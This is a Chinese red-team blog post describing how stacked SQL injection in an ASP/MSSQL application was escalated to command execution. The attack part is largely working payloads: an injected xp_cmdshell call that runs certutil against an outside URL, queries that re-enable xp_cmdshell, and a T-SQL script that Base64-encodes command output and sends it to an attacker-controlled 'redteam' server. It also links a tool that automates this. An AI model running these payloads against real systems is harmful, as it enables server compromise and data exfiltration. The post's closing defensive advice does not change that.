红队故事0x01:从MSSQL到命令执行

从一个MSSQL再到命令执行的思考。

背景介绍

红队识别出了一个易受SQL注入攻击的外围资产(ASP/MSSQL)。通过此漏洞有可能在目标服务器上执行命令,但需要特殊的方法绕过命令过滤策略,从而获得命令的输出。

应用过程

0x01 – 堆叠查询

其中所涉及的环境是一个使用Microsoft SQL Server作为数据库的ASP应用程序。

漏洞的发现

因为在插入单引号(‘)时,页面上会显示ODBC驱动程序缺少结束引号。多次尝试SQL查询或表达式(例如:使用“+”运算符连接),都是失败的,我们认为注入点是存储过程中调用的一个参数。为了验证这一点,我们尝试通过注入逗号来引入新的参数,这会因为参数过多而引起错误。


iV2SKg.png

正如官方文档所规定的,存储过程的参数必须是常数或变量。因此我们无法使用典型的Union联合注入或盲注。替代方法:使用堆叠注入,默认情况下ASP/MSSQL是支持堆叠注入的。

堆叠注入

堆叠注入:在执行一次查询时,通过分号(;)字符分隔,执行两条或更多的SQL语句。因此,我们可以使用基于时间的盲注从数据库中获取到信息:


iV2MZ9.png

但在这种情况下,Web应用程序没有权限查询更多的关键信息。因此我们继续研究别的方法,例如:命令执行。

命令执行

在MSSQL中,有一个常用的存储过程xp_cmdshell,它接收一个Windows命令,运行它并将结果以文本行的格式返回。但问题是,在这样的场景中,输出是永远不会被转储给用户,也就是说用户是看不到返回的结果的。因此,要验证命令是否正确执行,可以使用Windows中的默认实用程序: certutil.exe

这个命令最初是用来管理证书的,但对红队的工作有很大的帮助,原因有很多:

  • 它是由Microsoft默认安装的二进制文件。
  • 它允许建立HTTP/s连接并且是proxy-aware(使用系统中配置的代理)
  • 它允许在Base64或十六进制中编码/解码。

在我们的场景中,我们运用它向我们控制的web服务器发出HTTP/s请求,确认我们的命令是否被执行。

1
‘;EXEC xp_cmdshell ‘certutil.exe -urlcache -f http://example.com’

iV20II.png

虽然最常见的是应用程序的用户没有权限来执行存储过程xp_cmdshell (默认禁用),但由于配置错误,我们可以激活它。在这种情况下,使用以下查询来激活:

1
2
3
4
5
6
exec sp_configure 'show advanced options', 1; 
reconfigure;
exec sp_configure 'xp_cmdshell', 1;
reconfigure;
exec sp_configure 'show advanced options', 0;
reconfigure;

1
2
EXEC sp_configure 'show advanced options', 1 ;  reconfigure; 
EXEC exec sp_configure 'xp_cmdshell', 1 ; reconfigure;

至此, ,我们已经可以看到如何绕过命令过滤策略,获得命令的输出。

0x02 - 传送数据的加密/解密

此时,我们已经可以执行系统命令,并向我们控制的Wbe服务器发出HTPP/s请求。综合以上两点,我们就可以通过https://redteam/[informacion_code]来获取信息。
在这种情况下,我们选择Bsae64编码而不是十六进制,因为我们需要数据库允许我们以更少的字符存储更多的信息。

我们应该遵循以下几点:

  • 1.声明一个“表”类型的变量,让返回的结果保存在存储过程xp_cmdshell中(记住,返回的结果是多行的)。
  • 2.将命令的输出结果存储到上一个变量中。
  • 3.连接“表”的SQL语句,用换行符分割。
  • 4.将生成的字符串编码为Base64,并将其保存在一个变量中。
  • 5.生成certutil命令,将字符串添加到结果中。
  • 6.执行

在T-SQL中没有办法直接执行第三步和第四步,但有两个小技巧来解决这个问题:

  • 无法使用MySQL的group_concat函数,因此所有字符串的连接都使用FOR XML子句。这样,就可以以单个字符串(XML)的形式获取数据。

    1
    SELECT columna+char(10) as 'text()' FROM tabla FOR XML path('')  -- Se concatena un salto de linea al final de cada fila - char(10)
  • 另一方面,也没有方法直接将字符串转换为Base64,但可以将Base64转换成二进制数据。因此,解决方案是将之前的字符串转换成二进制数据:

    1
    SELECT cast('tarlogic' AS varbinary(max)) FOR XML path(''), BINARY BASE64

实现这一编码,还有其他的选择,比如使用XQuery。

将所有的步骤放在一起就会发现和T-SQL十分的相似:

1
2
3
4
5
6
7
8
9
10
declare @r varchar(4120),@cmdOutput varchar(4120);
declare @res TABLE(line varchar(max));

insert into @res exec xp_cmdshell 'COMANDO';

set @cmdOutput=(select (select cast((select line+char(10) COLLATE SQL_Latin1_General_CP1253_CI_AI as 'text()' from @res for xml path('')) as varbinary(max))) for xml path(''),binary base64);

set @r=concat('certutil -urlcache -f https://redteam/',@cmdOutput);

exec xp_cmdshell @r;

在读取包含命令结果的表的过程中,我们需要考虑到排序规则。


iV25iq.png

此外,在解码Base64时必须考虑到在Windows中命令的输出将以Unicode方式表示。

0x03 - 自动化

这个过程被我们成功的实现了一遍,所以我们可以让它自动化的执行。为此,开发了一种工具,它为用户提供了一个提示符。然后,它生成必要的负载来运行它,同时部署一个可以接收结果的web服务器。最后,自动解码并显示出来。


iVWpAs.png

该工具的代码作为概念测试,可在以下链接中找到: https://github.com/quyunjie/Red-Team/blob/master/mssql-rce/mandros.py

结论

我们已经看到,没有对外围资产进行关键的信息处理的结果,就是它让红队能够将其转变为目标的内部网络。因此,重要的是要考虑到对这种类型漏洞的过滤强化和预警,而不仅仅是对漏洞的定期审计

坚持原创技术分享,您的支持将鼓励我继续创作!
-------------本文结束感谢您的阅读-------------